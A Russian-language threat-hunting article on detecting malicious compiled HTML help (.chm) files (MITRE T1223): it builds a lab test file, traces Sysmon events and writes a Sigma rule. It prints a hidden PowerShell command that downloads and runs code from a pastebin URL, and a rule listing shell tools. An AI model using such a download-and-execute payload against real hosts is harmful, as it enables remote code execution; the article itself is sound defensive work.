Threat Hunting на примере "Compiled HTML File" Mitre ATT&CK: T1223

23.06.2020
Threat Hunting на примере "Compiled HTML File" Mitre ATT&CK: T1223

Согласно статистике множества компаний, работающих в области информационной безопасности (ИБ), наблюдаются высокие темпы развития тактик и техник, используемых злоумышленниками для реализации киберпреступлений. Тактики нападения совершенствуются для скрытия следов присутствия злоумышленников и обхода систем защиты информации (СЗИ). Это повышает успешность атак на информационные инфраструктуры компаний.

Со стороны защиты выступают подразделения ИБ компаний, в частности SOC (Security Operations Center). Он специализируется на выявлении инцидентов ИБ и реагировании на них. Для выявления большинства известных инцидентов используется сигнатурный подход, реализуемый СЗИ и, в частности, системами класса SIEM. Они способны обрабатывать огромное количество событий от различных источников событий ИБ. Успешность выявления зависит от качества правил СЗИ и квалификации персонала SOC. Каким же образом развивать эти ключевые направления? В этом вопросе нам поможет процесс Threat Hunting.

Threat Hunting

Threat Hunting (TH) дословно переводится как «охота на угрозы». Существует множество определений, но все они основаны на личном практическом опыте поиска новых угроз. Проблема заключается в том, что данный процесс детально не описан, и нет эталона, по которому SOC может выстраивать свои процессы. В данной статье мы бы хотели поделиться опытом Angara Cyber Resilience Center (ACRC) по основным процедурам TH. Threat Hunting – это творческий процесс по активному или проактивному поиску и обнаружению новых или неизвестных угроз.

В общем виде процесс TH состоит из следующих этапов:

  1. Формулировка гипотезы.

  2. Анализ данных для подтверждения гипотезы.

  3. Если гипотеза подтверждена, то собираются индикаторы, по которым можно автоматизировано выявлять подобные угрозы, в противном случае процесс начинается заново.

  4. Разработка новых правил SIEM, IDS либо других СЗИ.

Активный TH является расширением сигнатурного мониторинга и заключается в анализе событий, поступающих в SIEM, для подтверждения или опровержения гипотезы. К примеру, могут анализироваться события различных информационных систем и СЗИ, выявляться отклонения от штатной работы системы, анализироваться аномалии с применением средств визуализации событий и т.д. Все предпринимаемые действия аналитика в данной ситуации ограничены его личным опытом, знаниями тактик поведения злоумышленника и особенностями работы различных объектов инфраструктуры. Порой подобная изыскательская деятельность требует немало времени, и в результате гипотеза может быть не подтверждена. Данный результат нельзя трактовать как «провал» или «неуспех», в результате аналитик получил определенные знания и опыт. Разберем типовые ситуации, при которых аналитик не смог подтвердить ту или иную гипотезу:

  1. Дефицит знаний для подтверждения именно этой гипотезы.

  2. Отсутствие необходимых событий от определенной системы из-за настроек политик аудита.

  3. Отсутствие инцидента ИБ, так как на момент проверки система могла работать штатно, никаких атак не было.

Подобные изыскания похожи на поиск иголки в стогу сена, когда непонятно, есть ли иголка, как она должна выглядеть, и нормально ли то, что я нашел для данного стога сена. Это не значит, что не нужно проводить активный TH, достаточно осуществлять проверки по заранее проработанному чек-листу. Это позволит оптимально использовать время, учитывать особенности защищаемой инфраструктуры и вести базу знаний для передачи информации другим аналитикам. Одним словом, активный TH является неотъемлемой частью мониторинга, но с определенными «правилами игры» и ограничениями.

Проактивный TH нацелен на выявление новых угроз. Понятие «новое» в современном мире ИБ является чем-то неопределенным. Любой рассматриваемый вопрос для кого-то будет являться новым, а для кого-то – старым и хорошо проработанным. Попробуем в этом разобраться. Как мы уже знаем, для выявления инцидентов ИБ нужны определенный набор правил и знания аналитика SOC. Логичнее всего считать «новым» те угрозы, которые не попадают ни в правила для автоматизированного выявления, ни в текущий перечень знаний аналитиков. Для этого необходим учет данных правил в виде матрицы на основе Cyber-Kill Chain, содержащей в себе перечень угроз, на которые планируется реагировать, и перечень правил, при помощи которых данные инциденты будут выявляться. Разберем данный процесс на конкретном примере.

Исходные данные

Допустим, что при анализе компетенций SOC выясняется, что отсутствуют или недостаточно проработаны текущие правила либо компетенции по определенным тактикам поведения злоумышленника. Для инвентаризации можно равняться на одну из наиболее популярных и проработанных Knowledge Base в области информационной безопасности – Mitre ATT&CK.

Mitre ATT&CK – это матрица техник злоумышленника в разрезе стадий атак. По каждой технике есть подробное описание с теоретическими советами для выявления подобной активности. Для примера рассмотрим технику с ID: T1223 « Compiled HTML File», которая свойственна стадиям «Execution» и «Defense Evasion».

Формулировка гипотезы

Скомпилированные файлы HTML-справки представляют собой файлы с расширением .chm и содержат сжатые и скомпилированные данные, такие как: HTML-документы, изображения, скрипты на языках программирования VBA, JScript, Java, ActiveX. Они исполняются стандартной справочной системой платформы Windows (Microsoft HTML Help) и используются различными приложениями в качестве офлайн-справки, работая во всех версиях ОС Windows.

С точки зрения информационной безопасности существует риск исполнения произвольного кода:

  • при внесении изменений или подмене файлов справки легитимных приложений;

  • при доставке файлов справки под видом легитимных документов (фишинг) через электронную почту, Интернет и т.д.

Для подтверждения нашей гипотезы изучаем доклады специалистов ИБ. К примеру, в данной статье описываются индикаторы поведения банковского трояна, распространение которого осуществлялось по электронной почте в файлах .chm. В подобных случаях скомпилированный файл HTML-справки используется как контейнер для доставки и запуска полезной нагрузки. На данном этапе можно считать данную угрозу актуальной и приступать к проверке нашей гипотезы.

Анализ данных для подтверждения гипотезы

Так как мы решили действовать проактивно, то не будем ждать атаки на защищаемую инфраструктуру для анализа возможных индикаторов компрометации. К моменту реальной атаки лучше быть уже готовым, для этого мы будем имитировать деятельность вредоносного программного обеспечения в изолированной тестовой среде.

Для подтверждения гипотезы необходимо выполнить ряд работ, условно разделенных на следующие подэтапы:

  1. Подготовка тестовой среды.

  2. Подготовка тестового вредоносного программного обеспечения (ВПО).

  3. Расследование активности тестового ВПО.

Подготовка тестовой среды

Данный вид атаки производится локально на конечных хостах и не требует разворачивания дополнительных систем. Тесты будем проводить на двух хостах под управлением ОС Windows 10, 7. Для анализа активности на хостах нам потребуется организовать сбор журналов ОС и журналов Sysmon. Для удобства работы с событиями будем использовать стек ELK.

Sysmon – это утилита, которая собирает подробную информацию об активности процессов, загрузке драйверов, сетевых соединениях, создании файлов и т.д. События Sysmon регистрируются благодаря установке специального драйвера, перехватывающего действия процессов. Именно на события данной утилиты мы и будем опираться для выявления индикаторов компрометации. Более подробно о преимуществах использования Sysmon рассказано в статье наших коллег « Windows vs Sysmon».

Подготовка тестового ВПО

Изучив несколько докладов различных специалистов в области ИБ по активности ВПО на основе .chm файлов, можно прийти к выводу, что использование возможностей powershell для формирования полезной нагрузки по-прежнему занимает лидирующую позицию. Детальная информация хорошо описана на данном ресурсе. Мы также будем использовать powershell в нашем примере.

В качестве полезной нагрузки используется команда для загрузки и запуска кода с внешнего ресурса. Данная активность типична для большинства ВПО.

powershell.exe -NoP -NonI -w hidden -Exec Bypass -c IEX ((New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/twerXyRX'))

На внешнем ресурсе разместим команду для запуска калькулятора, таким образом мы поймем, что скрипт отработал успешно.

cmd.exe /c calc.exe

Далее создаем .htm-файл, в теле которого укажем объект, запускающий нашу полезную нагрузку.

Рисунок 1.png

Для компиляции файла справки будем использовать утилиту htm2chm, указав ей в качестве источника подготовленный .htm-файл. Итоговый файл запускаем на тестовых машинах и приступаем к расследованию активности.

Расследование активности тестового ВПО

При запуске файла справки никаких дополнительных действий от пользователя не требовалось, полезная нагрузка выполнилась автоматически.

Рисунок 2.png

1. Запуск тестового ВПО. События Windows ID 4688 и Sysmon ID 1. Для наглядности будем ориентироваться на события Sysmon, так как в них больше полезной информации:

Рисунок 3.png

2. Процесс hh.exe (PID 3192) запускает powershell.exe (PID 3532) с полезной нагрузкой. События Windows ID 4688 и Sysmon ID 1:

Рисунок 4.png

3. Процесс powershell (PID 3532) устанавливает сетевое соединение к внешнему ресурсу. Событие Sysmon ID 3:

рис.png

4. Процесс powershell (PID 3532) запускает cmd.exe, который открывает калькулятор. События Windows ID 4688 и Sysmon ID 1:

Рисунок 5.png

5. Завершение всех вышеописанных процессов. События Windows ID 4689 и Sysmon ID 5.

Подтверждение гипотезы

Основным критерием для подтверждения гипотезы является актуальность данной техники. Как мы установили на практике, запуск подобных файлов возможен на хостах с недостаточно строгими политиками ОС и СЗИ. В связи с тем, что существует возможность обфускации запускаемых скриптов, вероятность успеха выполнения полезной нагрузки повышается. Эффективное предотвращение подобной активности средствами системы антивирусной защиты возможно только при поведенческом анализе. Также существует возможность запуска полезной нагрузки, написанной для различных командных оболочек ОС Windows.

В качестве индикатора данной техники можно использовать факт запуска процессом hh.exe различных дочерних процессов, способных выполнить полезную нагрузку на скомпрометированном хосте. Дальнейшая активность, рассматриваемая в нашем примере, является частным случаем возможных атак с применением командной оболочки powershell, что относится к другим техникам, применяемым злоумышленниками.

Для автоматизации выявления подобной активности необходима разработка правила для SIEM.

Разработка правила SIEM

Перед началом разработки правила необходимо убедиться в отсутствии большого количества ложноположительных срабатываний, для этого формируем запрос и выполняем его на данных реальной инфраструктуры. По результатам выполнения запроса за достаточно большой промежуток времени не выявлено ни одного факта запуска каких-либо процессов справочной системой Windows. К слову, запуск .chm встречается достаточно редко, поскольку в приложениях, в основном, используется онлайн-справка.

Правило будем составлять в формате Sigma. Sigma – это международный проект по разработке правил SIEM, который имеет собственный формат правил и инструменты для конвертации правил в формат различных SIEM. Благодаря своей универсальности, данный проект используется различными SOC как площадка для обмена знаниями в области выявления инцидентов ИБ и поддержания собственных правил SIEM в «боевом» состоянии.

Правило для нашего примера будет выглядеть следующим образом:

title: HTML Help Shell Spawn
status: experimental
description: Detects a suspicious child process of a Microsoft HTML Help system when executing compiled HTML files (.chm)
tags:
    - attack.execution
    - attack.defense_evasion
    - attack.t1223
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage: 'C:\Windows\hh.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wscript.exe'
            - '\cscript.exe'
            - '\regsvr32.exe'
            - '\wmic.exe'
            - '\rundll32.exe'
    condition: selection
fields:
    - CommandLine
    - ParentCommandLine
falsepositives:
    - unknown
level: high

Заключение

Даже для такого простого примера придется пройти трудоемкий путь от сбора необходимой информации до формирования правила автоматизированного выявления. Эти трудозатраты окупаются впоследствии. В ходе данной деятельности аналитик получает хороший опыт, который сможет применять на практике. Введение нового правила автоматизированного выявления угроз позволяет сократить время на выявление и расследование инцидента. К тому же ведение базы знаний способствует передаче накопленных знаний другим аналитикам, что повышает общий уровень компетенций подразделения и сокращает время обучения новых сотрудников.

Не стоит забывать и про участие в различных сообществах в сфере информационной безопасности для обмена опытом. Только благодаря общим усилиям можно противостоять современным угрозам.

Источник: SecurityLab